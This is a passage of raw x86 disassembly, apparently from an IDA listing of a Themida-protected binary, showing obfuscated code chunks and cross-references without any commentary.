loc_596DEA ; --------------------------------------------------------------------------- loc_58CD2D: ; CODE XREF: sub_59196D+5782j add eax, 789B662Ah jmp loc_58E6FF ; --------------------------------------------------------------------------- loc_58CD37: ; CODE XREF: sub_59196D+389Aj add ebp, 0FFFFFFFFh jmp loc_596173 ; --------------------------------------------------------------------------- loc_58CD3F: ; CODE XREF: sub_59196D+1900j or cl, 0BEh sub cl, 64h add cl, 39h add al, cl pop ecx sub esp, 4 jmp loc_58D5F6 ; --------------------------------------------------------------------------- loc_58CD53: ; CODE XREF: sub_59196D-1CB6j sub bl, ah pop eax push cx mov ch, 93h add bl, ch pop cx jmp loc_59453B ; --------------------------------------------------------------------------- loc_58CD63: ; CODE XREF: sub_59196D+28FEj xor ebx, [esp+3Ah+var_3C+2] mov esp, [esp+3Ah+var_3C+2] add word ptr [esp+3Ah+var_3C+2], ax pushf jmp loc_5956F9 ; --------------------------------------------------------------------------- loc_58CD73: ; CODE XREF: sub_59196D-44E2j add edi, 4 xchg edi, [esp+3Eh+var_40+2] jmp loc_590BCF ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58CD7E proc near ; CODE XREF: sub_59196D+5FC7j push ebp mov ebp, 2E6478F9h sub eax, ebp jmp loc_58F50F sub_58CD7E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58CD8B: ; CODE XREF: sub_59196D-17B4j ; sub_59196D+3FFEj add eax, 71F0FFCAh sub edx, 45F2794Ch add edx, eax add edx, 45F2794Ch pop eax add edx, ebp sub edx, 9D822ABh jmp loc_59759C ; --------------------------------------------------------------------------- loc_58CDAC: ; CODE XREF: sub_59196D-5EF2j jz loc_595B9B add eax, 708D0E16h jle loc_58B6D5 or eax, 310C08A5h jmp loc_58E77C ; --------------------------------------------------------------------------- loc_58CDC7: ; CODE XREF: sub_59196D+303Cj push dword ptr [eax] jmp loc_58B37B ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58CDCE: ; CODE XREF: Themida_:00590607j add esp, 4 pop edi sub eax, 6D8339DDh sub eax, ebp add eax, 6D8339DDh mov ebp, [esp] push eax mov eax, esp jmp loc_593327 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58CDEC: ; CODE XREF: sub_59196D+4C09j push edi push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_594491 ; --------------------------------------------------------------------------- loc_58CDFE: ; CODE XREF: sub_59196D+2DE5j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+20h+var_22+2] jmp loc_597FD8 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FC53 loc_58CE11: ; CODE XREF: sub_58FC53-C70j add bl, 10h add bl, 8Ch shl bl, 3 sub bl, 95h jmp loc_594A35 ; END OF FUNCTION CHUNK FOR sub_58FC53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58CE22: ; CODE XREF: Themida_:0058FE15j ; sub_59196D+EEAj add ebp, eax pop eax sub ebp, 4BCF4185h not ebp push ecx mov ecx, 20486705h shr ecx, 7 inc ecx sub ecx, 0A76593Dh jmp loc_58EDA6 ; --------------------------------------------------------------------------- loc_58CE42: ; CODE XREF: sub_59196D-269Ej ; DATA XREF: Themida_:0058B0D0o mov cx, word ptr [esp+20h+var_22+2] sub esp, 4 jmp loc_590E13 ; --------------------------------------------------------------------------- loc_58CE4E: ; CODE XREF: sub_59196D-5F5Cj pop esi xor ebp, 263FC5C0h add esi, ebp pop ebp pop edx xchg esi, [esp+10h+var_12+2] pop esp div cl movzx cx, ah sub esp, 4 mov [esp+10h+var_12+2], ebp push esp pop ebp push ebx mov ebx, 4 add ebp, ebx jmp loc_58FB05 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58CE7B: ; CODE XREF: Themida_:0058FBB8j push ecx jmp loc_59398D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58CE81: ; CODE XREF: sub_59196D-64C4j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58CE86: ; CODE XREF: sub_59196D+194Cj mov esp, [esp+0] jmp loc_591690 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- dw 0B450h ; --------------------------------------------------------------------------- fild word ptr [eax-0B7F5C14h] retn ; --------------------------------------------------------------------------- db 80h dd 0F2E99CC1h db 0F9h, 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_58CE9F proc near ; CODE XREF: sub_59196D+AD2j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], ebp push esp pop ebp add ebp, 4 jmp loc_5945E2 sub_58CE9F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58CEB2: ; CODE XREF: sub_59196D-1651j push ecx push esi mov esi, esp push edx jmp loc_597E12 ; --------------------------------------------------------------------------- loc_58CEBC: ; CODE XREF: sub_59196D-45B1j ; sub_58F469+4A1j mov si, word ptr [esp+0Ch+var_C] add esp, 2 inc si add si, 0B18h sub ax, si mov esi, [esp+8+var_8] push 63F7h mov [esp+0Ch+var_C], eax mov eax, esp add eax, 4 sub esp, 4 mov [esp+10h+var_12+2], ebx push edi mov edi, 464A769Dh mov ebx, 464A76A1h sub ebx, edi pop edi jmp loc_58C7CA ; --------------------------------------------------------------------------- loc_58CEF8: ; CODE XREF: sub_59196D+3A2Dj push 0B1F7B09h pop ebp not ebp xor ebp, 199B757Dh jmp loc_596DD0 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58CF0B proc near ; CODE XREF: sub_59196D-52C9j push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_592581 sub_58CF0B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58CF1C: ; CODE XREF: sub_59196D-2611j mov dl, 58h xor dl, 0EFh jnp loc_593A74 or dl, 47h jge loc_58BF79 jmp loc_58C623 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58CF35 proc near ; DATA XREF: Themida_:0058B1FCo mov ax, [esp+0] push ebx jmp loc_592D34 sub_58CF35 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58CF3F: ; CODE XREF: sub_59196D-305Cj push edi mov edi, 609275F3h add eax, edi pop edi sub esp, 4 mov [esp+14h+var_16+2], ebx mov ebx, 3E35260Eh add eax, ebx pop ebx add eax, edi sub eax, 3E35260Eh sub eax, 609275F3h jmp loc_59029B ; --------------------------------------------------------------------------- loc_58CF67: ; CODE XREF: sub_59196D+187Dj add edi, 2 push edi push [esp+14h+var_12+2] pop edi pop [esp+14h+var_16+2] pop esp mul cx push 44BEh mov [esp+10h+var_12+2], edi mov edi, esp push eax jmp loc_591F10 ; --------------------------------------------------------------------------- loc_58CF87: ; CODE XREF: sub_59196D+1604j push esp mov ecx, [esp+18h+var_1A+2] add esp, 4 add ecx, 4 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+18h+var_1A+2] jmp loc_58BC53 ; --------------------------------------------------------------------------- loc_58CFAE: ; CODE XREF: sub_59196D+5C7Fj mov esp, [esp+18h+var_1A+2] loc_58CFB1: ; CODE XREF: sub_59196D-17C5j push 2BF0h mov [esp+1Ch+var_1E+2], ebx push [esp+1Ch+var_1E+2] push [esp+20h+var_22+2] mov ebx, [esp+24h+var_26+2] push 27C2h mov [esp+28h+var_2A+2], eax mov eax, esp push edi mov edi, 3B1D0D96h jmp loc_58C105 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5906EB loc_58CFD7: ; CODE XREF: sub_5906EB+Aj push [esp+arg_0] pop ecx pop dword ptr [esp+0] pop esp add esp, 4 jmp loc_58B37B ; END OF FUNCTION CHUNK FOR sub_5906EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58CFEB: ; CODE XREF: sub_59196D-6199j mov ecx, 1 add ebp, ecx pop ecx shr ebp, 7 inc ebp xor ebp, 0FB7758h sub edi, ebp pop ebp xchg edi, [esp+10h+var_12+2] mov esp, [esp+10h+var_12+2] mov [esp+10h+var_12+2], ebx sub esp, 4 mov [esp+14h+var_16+2], esi mov esi, eax sub esp, 4 mov [esp+18h+var_1A+2], esi push [esp+18h+var_1A+2] pop ebx push 6724h mov [esp+1Ch+var_1E+2], ebx jmp loc_597979 ; --------------------------------------------------------------------------- loc_58D02E: ; CODE XREF: sub_59196D-A8Fj sub ebx, eax sub ebx, 313F7E33h push esi mov esi, esp jmp loc_595265 ; --------------------------------------------------------------------------- loc_58D03E: ; CODE XREF: sub_59196D-1C4Ej pop ecx jmp loc_58DC29 ; --------------------------------------------------------------------------- loc_58D044: ; CODE XREF: sub_59196D+C30j pop edi add ebx, esi pop esi jmp loc_58F088 ; --------------------------------------------------------------------------- loc_58D04D: ; CODE XREF: sub_59196D-20Fj pop ebx jmp loc_58F818 ; --------------------------------------------------------------------------- loc_58D053: ; CODE XREF: sub_59196D-3C48j push edx mov edx, 6EA65FD1h add eax, edx jmp loc_58B584 ; --------------------------------------------------------------------------- loc_58D060: ; CODE XREF: sub_59196D+5766j add esi, 4 jmp loc_58C0AF ; --------------------------------------------------------------------------- loc_58D06B: ; CODE XREF: sub_59196D+10EBj xor ecx, [esp+14h+var_16+2] xor [esp+14h+var_16+2], ecx xor ecx, [esp+14h+var_16+2] pop esp xor eax, esi push [esp+10h+var_12+2] push [esp+14h+var_16+2] mov esi, [esp+18h+var_1A+2] add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+18h+var_1A+2] pop esp jmp loc_590ECC ; --------------------------------------------------------------------------- loc_58D09B: ; CODE XREF: sub_59196D+AB0j ; sub_59196D+6309j mov [esp+14h+var_16+2], eax mov al, 30h xor al, 0C8h jmp loc_591E6C ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58D0A7: ; CODE XREF: Themida_:0058B7E1j pop eax push 4670h mov [esp], esi mov esi, esp add esi, 4 push eax push edx mov edx, 7C07364Bh mov eax, 0C92227C8h jmp loc_593C78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D0C9: ; CODE XREF: sub_59196D+6CF4j push [esp+14h+var_16+2] push [esp+18h+var_1A+2] pop esi jmp loc_58F542 ; --------------------------------------------------------------------------- loc_58D0D5: ; CODE XREF: sub_59196D+664Aj xor dl, 0D0h add bl, dl pop edx jmp loc_590EB7 ; --------------------------------------------------------------------------- loc_58D0E0: ; CODE XREF: sub_59196D+3C5Dj add ebp, 7CF13C34h and ebp, 1C5C0486h inc ebp add ebp, 0EBB7FC01h jmp loc_58DA9F ; --------------------------------------------------------------------------- loc_58D0F8: ; CODE XREF: sub_59196D-3362j pop ebp pop [esp+10h+var_12+2] pop esp push [esp+8+var_8] mov ecx, [esp+0Ch+var_C] add esp, 4 jmp loc_59694F ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58D10E proc near ; CODE XREF: sub_59196D+2C70j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058DA0E SIZE 0000001A BYTES push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_58DA0E sub_58D10E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D122: ; CODE XREF: sub_59196D+3405j sub edx, esi jmp loc_5917BF ; --------------------------------------------------------------------------- loc_58D129: ; CODE XREF: sub_59196D+4775j pop esi jmp sub_5914EB ; --------------------------------------------------------------------------- loc_58D12F: ; CODE XREF: sub_59196D+18DEj xor eax, esi push [esp+4+var_4] pop esi push ebx jmp loc_591D70 ; --------------------------------------------------------------------------- loc_58D13B: ; CODE XREF: sub_59196D+575Fj jno loc_58FB55 xor edi, 361D27E2h mov ebp, edi pop edi push ebp loc_58D14B: ; CODE XREF: sub_59196D-1B75j dec ebx inc ebx push ecx mov ecx, 70923E6Fh inc ecx sub ecx, 41E35554h shr ecx, 2 jmp loc_591C0E ; --------------------------------------------------------------------------- loc_58D162: ; CODE XREF: sub_59196D+1C87j mov eax, esp jmp loc_591C2A ; --------------------------------------------------------------------------- loc_58D169: ; CODE XREF: sub_59196D+236Dj neg esi js loc_5910A6 and esi, 37935EB4h neg esi jmp loc_591BCF ; --------------------------------------------------------------------------- loc_58D17E: ; CODE XREF: sub_59196D-2F84j mov word ptr [esp+0Ch+var_C], dx push ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58D18A: ; CODE XREF: sub_59196D-1BE1j add bl, cl pop ecx push edx jmp loc_59698D ; --------------------------------------------------------------------------- loc_58D193: ; CODE XREF: sub_59196D+47EDj mov eax, edx jmp loc_59383E ; --------------------------------------------------------------------------- loc_58D19A: ; CODE XREF: sub_59196D-5600j ; sub_59196D+305Aj pop esi add esp, 4 jmp loc_5914C6 ; --------------------------------------------------------------------------- loc_58D1A3: ; CODE XREF: sub_59196D-58B5j and esi, 7749464Dh jmp loc_595A6A ; --------------------------------------------------------------------------- loc_58D1AE: ; CODE XREF: sub_59196D-567Bj push ecx sub [esp+1Ch+var_1E+2], 4D6E69F1h jmp loc_5983C0 ; --------------------------------------------------------------------------- loc_58D1BB: ; CODE XREF: sub_59196D+182Cj pop ecx sub eax, 4 jmp loc_595B00 ; --------------------------------------------------------------------------- loc_58D1C4: ; CODE XREF: sub_59196D+15A3j xchg eax, [esp+18h+var_1A+2] pop esp mov cx, word ptr [esp+14h+var_16+2] jmp loc_58CB36 ; --------------------------------------------------------------------------- loc_58D1D1: ; CODE XREF: sub_59196D+551Ej add esi, 3DC67BABh jnb loc_58BB6F xor esi, 2B7B0F78h js loc_597A34 pop esi loc_58D1EA: ; CODE XREF: sub_59196D+6A89j pop ebp pop esi xchg edx, [esp+8+var_8] mov esp, [esp+8+var_8] mov word ptr [esp+8+var_8], ax jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58D1FB: ; CODE XREF: sub_59196D+6B62j mov eax, esp push esi mov esi, 4 add eax, esi mov esi, [esp+0Ch+var_C] add esp, 4 push esi push 44DF4D56h jmp loc_597764 ; --------------------------------------------------------------------------- loc_58D216: ; CODE XREF: sub_59196D+255Fj add edx, 4 sub esp, 4 mov [esp+14h+var_16+2], esi mov esi, 4 add edx, esi pop esi push edx push [esp+14h+var_12+2] pop edx pop [esp+14h+var_16+2] mov esp, [esp+10h+var_12+2] push 0F8Eh jmp loc_58CD20 ; --------------------------------------------------------------------------- loc_58D243: ; CODE XREF: sub_59196D+5A45j sub ecx, 6E83192Bh shl ecx, 8 xor ecx, 7102604Bh jmp loc_58F7AD ; --------------------------------------------------------------------------- loc_58D257: ; CODE XREF: sub_59196D+2C03j pop ebx and ecx, ebp mov ebp, [esp+10h+var_12+2] push ebx mov ebx, esp jmp loc_593D4D ; --------------------------------------------------------------------------- loc_58D265: ; CODE XREF: sub_59196D-4E51j pop esp loc_58D266: ; CODE XREF: sub_59196D+1A31j ; sub_59196D+3148j push dword ptr [edi+24h] jmp loc_5938B3 ; --------------------------------------------------------------------------- loc_58D26E: ; CODE XREF: sub_59196D-2AABj push 1F7Bh mov [esp+3Ah+var_3C+2], ecx mov ecx, 2 add eax, ecx jmp loc_58EEF9 ; --------------------------------------------------------------------------- loc_58D282: ; CODE XREF: sub_59196D+2DD7j push esp mov ecx, [esp+3Eh+var_40+2] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+42h+var_44+2] pop esp sub esp, 4 mov [esp+42h+var_44+2], eax push edx mov edx, 6FBC7107h add edx, 2506472Ch jnp loc_5982EA add edx, 34826E12h jp loc_5920B2 not edx jmp loc_59261E ; --------------------------------------------------------------------------- loc_58D2C7: ; CODE XREF: sub_59196D+3387j sub ebx, 33AA6E9Bh mov ecx, ebx pop ebx sub ebp, ecx push [esp+42h+var_44+2] pop ecx push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 add ebp, esi jmp loc_596F8C ; --------------------------------------------------------------------------- loc_58D2EC: ; CODE XREF: sub_59196D+4158j mov dl, 55h sub dl, 99h or dl, 0E0h sub dl, 0A1h push ecx jmp loc_595151 ; --------------------------------------------------------------------------- loc_58D2FD: ; CODE XREF: sub_59196D:loc_58E68Bj ; sub_59196D+1986j jmp loc_58D5C8 ; --------------------------------------------------------------------------- loc_58D302: ; CODE XREF: sub_59196D+1579j push edi mov edi, 5F140255h and edi, 7F370B75h shl edi, 3 sub edi, 0C73FB18Ah sub ebp, edi pop edi pop edx xchg ebp, [esp+4Ah+var_4A] pop esp mov [esp+0], ebp mov ebp, esp push edi mov edi, 2AB3292Ah shr edi, 8 xor edi, 36DC52A1h jmp loc_5965D9 ; --------------------------------------------------------------------------- loc_58D338: ; CODE XREF: sub_59196D+464Dj add edx, esi add edx, 480F25B0h pop esi push ecx jmp loc_590754 ; --------------------------------------------------------------------------- loc_58D347: ; CODE XREF: sub_59196D:loc_5936BFj jmp loc_596F6E ; --------------------------------------------------------------------------- loc_58D34C: ; CODE XREF: sub_59196D-2BE0j xchg eax, ecx not ecx xchg eax, ecx xchg eax, [esp+4Ah+var_4A] push [esp+4Ah+var_4A] jmp loc_597A44 ; --------------------------------------------------------------------------- loc_58D35B: ; CODE XREF: sub_59196D+BF2j pop ebp jmp loc_590B9A ; --------------------------------------------------------------------------- loc_58D361: ; CODE XREF: sub_59196D-15DDj add cl, dl jmp loc_59416A ; --------------------------------------------------------------------------- loc_58D368: ; CODE XREF: sub_59196D+5D80j mov ecx, [esp+4Ah+var_4A] add esp, 4 jmp loc_58F11D ; --------------------------------------------------------------------------- loc_58D373: ; CODE XREF: sub_59196D+5112j add eax, 4 push edi mov edi, 5D946F0Ch add edi, 0A26B90F8h add eax, edi pop edi jmp loc_58FCF3 ; --------------------------------------------------------------------------- loc_58D38C: ; CODE XREF: sub_59196D+4CE5j sub al, cl jmp loc_59009D ; --------------------------------------------------------------------------- loc_58D393: ; CODE XREF: sub_59196D+1762j xor bh, dl pop dx sub al, bh pop ebx sub al, bh push 6E9Fh jmp loc_592A2E ; --------------------------------------------------------------------------- loc_58D3A6: ; CODE XREF: sub_59196D+99Ej jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58D3AB: ; CODE XREF: sub_59196D+3E8Cj pop ebx add esp, 4 xchg esi, [esp+3Ch+var_3C] jmp loc_58C09B ; --------------------------------------------------------------------------- loc_58D3B7: ; CODE XREF: sub_59196D+2CF7j not al shr al, 3 js loc_58CEBC jmp loc_5941BB ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- mov cx, [esp] push 49F3h mov [esp], ecx push esp jmp loc_596012 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D3D9: ; CODE XREF: sub_59196D-41B4j xor [esp+3Ch+var_3C], ecx xor ecx, [esp+3Ch+var_3C] pop esp bt [esp+0], eax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58D3EA: ; CODE XREF: sub_59196D+FC5j sub edi, ebx pop ebx xor edi, 0A44BFA21h mov ecx, edi pop edi sub ecx, 0FFFFFFFFh add ecx, 0E41FC824h sub ecx, 257131ADh jmp loc_5923E3 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C376 loc_58D40A: ; CODE XREF: sub_58C376+26j shl al, 3 and al, 59h inc al push edx mov dl, 0F6h xor dl, 70h xor al, dl jmp loc_58E462 ; END OF FUNCTION CHUNK FOR sub_58C376 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D41E: ; CODE XREF: sub_59196D+67FDj pop edi add esp, 4 or edx, eax shl edx, 1 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+30h+var_32+2] mov esp, [esp+30h+var_32+2] mov [esp+30h+var_32+2], ecx push esi mov esi, 396F49F1h and esi, 485B062Fh jmp loc_596DFB ; --------------------------------------------------------------------------- loc_58D452: ; CODE XREF: sub_59196D-9F8j sub ebp, 450F09CAh add ebp, edi jmp loc_59718D ; --------------------------------------------------------------------------- loc_58D45F: ; CODE XREF: sub_59196D-1EFBj pop ecx sub edi, 3893748Eh push ecx mov ecx, 5D071E56h add ecx, 0C5040563h sub edi, ecx jmp loc_58D639 ; --------------------------------------------------------------------------- loc_58D479: ; CODE XREF: sub_59196D-2348j add cl, 0D8h add dl, cl pop ecx jmp loc_58DB25 ; --------------------------------------------------------------------------- loc_58D484: ; CODE XREF: sub_59196D+5A7Dj sub ebx, ebp pop ebp add edi, ebx pop ebx pop esi jmp loc_58CD73 ; --------------------------------------------------------------------------- loc_58D490: ; CODE XREF: sub_59196D-5E5Dj ; sub_59196D+5536j shl edi, 2 js loc_59854B xor edi, 0A7B55F74h mov ebp, edi pop edi push ebp loc_58D4A3: ; CODE XREF: sub_58ED05-1747j push 14D15D95h pop edi neg edi xor edi, 0B524B16Dh mov eax, edi pop edi add esi, 29720344h jmp loc_58DE1B ; --------------------------------------------------------------------------- loc_58D4BF: ; CODE XREF: sub_59196D+F55j add eax, edx push edi jmp loc_598322 ; --------------------------------------------------------------------------- loc_58D4C7: ; CODE XREF: sub_59196D:loc_596F4Dj push esi push edx mov edx, 7A2044AFh mov esi, 96B765A4h sub esi, 74E31A34h sub esi, edx add esi, 74E31A34h pop edx inc esi shr esi, 5 xor esi, 112D7421h xor eax, esi pop esi jmp loc_5964ED ; --------------------------------------------------------------------------- loc_58D4F4: ; CODE XREF: sub_59196D+645Cj dec ebx not ebx push edi mov edi, 6F4673AAh inc edi jmp loc_58CCB2 ; --------------------------------------------------------------------------- loc_58D503: ; CODE XREF: sub_59196D+5078j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58D508: ; CODE XREF: sub_59196D+E7Bj inc eax jmp loc_5958D1 ; --------------------------------------------------------------------------- loc_58D50E: ; CODE XREF: sub_59196D+3BD8j mov [esp+20h+var_22+2], ebx jmp loc_594757 ; --------------------------------------------------------------------------- loc_58D516: ; CODE XREF: sub_59196D-2588j xor ebp, 76C3E44h jmp loc_58F91A ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58D521 proc near ; CODE XREF: sub_59196D:loc_58B536j push ebx mov ebx, 1F374C07h not ebx jmp loc_5965B3 sub_58D521 endp ; --------------------------------------------------------------------------- loc_58D52E: ; DATA XREF: Themida_:0058B0F4o lodsd xor eax, ebx push 4926h mov [esp], esi push ecx mov ecx, 40489542h jmp loc_595A99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D544: ; CODE XREF: sub_59196D-5CE4j add esp, 4 push ebx mov ebx, edi jmp loc_59761A ; --------------------------------------------------------------------------- loc_58D552: ; CODE XREF: sub_59196D+5A2Dj mov edi, [esp+28h+var_2A+2] add esp, 4 push eax mov eax, 7E36022Bh sub eax, 74121F1Ah jmp loc_58B6F7 ; --------------------------------------------------------------------------- loc_58D568: ; CODE XREF: sub_59196D-B5Fj sub [esp+28h+var_22+2], ebx jmp loc_597958 ; --------------------------------------------------------------------------- loc_58D571: ; CODE XREF: sub_59196D+5307j sub edi, 171F7C72h push [esp+28h+var_2A+2] mov edx, [esp+2Ch+var_2E+2] add esp, 4 add esp, 4 xchg edi, [esp+24h+var_26+2] mov esp, [esp+24h+var_26+2] xor word ptr [esp+24h+var_26+2], ax pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_58D596: ; CODE XREF: sub_59196D-42D1j xor [esp+28h+var_2A+2], ecx xor ecx, [esp+28h+var_2A+2] pop esp mov [esp+24h+var_26+2], eax push ebx mov bl, dl mov ah, bl pop ebx mov bl, ah pop eax mov [edi+eax*4], bl push [esp+20h+var_22+2] pop ebx jmp loc_58BB15 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58ED05 loc_58D5B5: ; CODE XREF: sub_58ED05+11j push 626Ah mov [esp+0Ch+var_C], eax push edi jmp loc_58D4A3 ; END OF FUNCTION CHUNK FOR sub_58ED05 ; --------------------------------------------------------------------------- jmp loc_58B37B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D5C8: ; CODE XREF: sub_59196D:loc_58D2FDj sub edx, 0E303587Fh jmp loc_596B9B ; --------------------------------------------------------------------------- loc_58D5D3: ; CODE XREF: sub_59196D-545Cj push 6B38h mov [esp+12h+var_12], edx jmp loc_590A25 ; --------------------------------------------------------------------------- loc_58D5E0: ; CODE XREF: sub_59196D-638Ej push ecx push esp mov ecx, [esp+20h+var_22+2] add esp, 4 add ecx, 4 jmp loc_597BD3 ; --------------------------------------------------------------------------- loc_58D5F6: ; CODE XREF: sub_59196D-4C1Fj mov [esp+3Eh+var_40+2], ebx mov bl, 22h add bl, 0FFh not bl add bl, 0FFh push ecx jmp loc_58F358 ; --------------------------------------------------------------------------- loc_58D609: ; CODE XREF: sub_59196D+1DA1j push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx jmp loc_5977B6 ; --------------------------------------------------------------------------- loc_58D619: ; CODE XREF: sub_59196D+615j push esi jmp loc_58B7D9 ; END OF FUNCTION CHUNK FOR sub_59196D ; =============== S U B R O U T I N E ======================================= sub_58D61F proc near ; DATA XREF: Themida_:0058B1A8o ; FUNCTION CHUNK AT 0058D7BE SIZE 00000005 BYTES push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp+0], cl pushf jmp loc_58D7BE sub_58D61F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D62E: ; CODE XREF: sub_59196D:loc_591425j sub ecx, 7C663F5Ch jmp loc_58E68B ; --------------------------------------------------------------------------- loc_58D639: ; CODE XREF: sub_59196D-44F9j pop ecx xor edi, 63B8A05h xor ebx, edi pop edi push ebx jmp loc_591F2F ; --------------------------------------------------------------------------- loc_58D649: ; CODE XREF: sub_59196D+1EA1j pop ebp push 0CBh mov [esp+30h+var_32+2], ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 45EA4DFBh add ebp, 82154BBh sub ebp, 4E0BA2B2h jmp loc_59700F ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- loc_58D671: ; DATA XREF: Themida_:0058B0C4o push dword ptr [edi+1Ch] add dword ptr [esp], 6A6745D2h mov eax, [esp] push ebx push esp pop ebx push esi mov esi, 1E555566h jmp loc_593090 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D68C: ; CODE XREF: sub_59196D+37F9j pop edx mov edi, [esp+30h+var_32+2] jmp loc_58E586 ; --------------------------------------------------------------------------- loc_58D695: ; CODE XREF: sub_59196D-5DD0j ; sub_59196D+689Aj pop eax sub ecx, 4 xor ecx, [esp+14h+var_16+2] jmp loc_58D596 ; --------------------------------------------------------------------------- loc_58D6A1: ; CODE XREF: sub_59196D+4BA7j pop ebx sub al, 0CCh add al, dl jmp loc_58C26C ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- lodsd add eax, 6F8352D3h jmp loc_5905E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D6B6: ; CODE XREF: sub_59196D+7A0j push 602C1A8Eh jmp loc_596D03 ; --------------------------------------------------------------------------- loc_58D6C0: ; CODE XREF: sub_59196D+41F2j add ebp, 4 add ebp, 4 jmp loc_58FC24 ; --------------------------------------------------------------------------- loc_58D6CE: ; CODE XREF: sub_59196D+389j ; sub_59196D+32FBj jmp loc_595292 ; --------------------------------------------------------------------------- loc_58D6D3: ; CODE XREF: sub_59196D+117j sub ecx, 332A38A0h add ebp, ecx push [esp+14h+var_16+2] mov ecx, [esp+18h+var_1A+2] add esp, 4 add esp, 4 push esi mov esi, 6006305Eh jmp loc_591950 ; --------------------------------------------------------------------------- loc_58D6F8: ; CODE XREF: sub_59196D+5547j mov [esp+14h+var_16+2], esi jmp loc_593AE2 ; --------------------------------------------------------------------------- loc_58D700: ; CODE XREF: sub_59196D+2F6Fj add esp, 4 push ecx push esp pop ecx add ecx, 4 jmp sub_598477 ; --------------------------------------------------------------------------- loc_58D714: ; CODE XREF: sub_59196D-5B46j ; sub_59196D+170Fj mov [esp+2Eh+var_2E], ebp push edi push ebx jmp loc_59133A ; --------------------------------------------------------------------------- loc_58D71E: ; CODE XREF: sub_59196D-606j sub al, dl push edx push ebx mov bh, 7Dh jmp loc_593ED1 ; END OF FUNCTION CHUNK FOR sub_59196D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C3EF loc_58D729: ; CODE XREF: sub_58C3EF+6j mov [esp+8+var_8], edx mov edx, 14BC0307h mov ebx, 65CE265Ch add ebx, edx pop edx push ecx mov ecx, 1 sub ebx, 9F73AB0h sub ebx, ecx add ebx, 9F73AB0h mov ecx, [esp+8+var_8] add esp, 4 push ebx inc [esp+8+var_8] pop ebx sub esp, 4 mov [esp+8+var_8], edi mov edi, 5083591Ch jmp loc_590091 ; END OF FUNCTION CHUNK FOR sub_58C3EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59196D loc_58D76E: ; CODE XREF: sub_59196D+2682j mov [esp+3Eh+var_40+2], ebx mov ebx, esp jmp loc_58EEA5 ; --------------------------------------------------------------------------- loc_58D778: ; CODE XREF: sub_59196D+3D3Bj push ecx 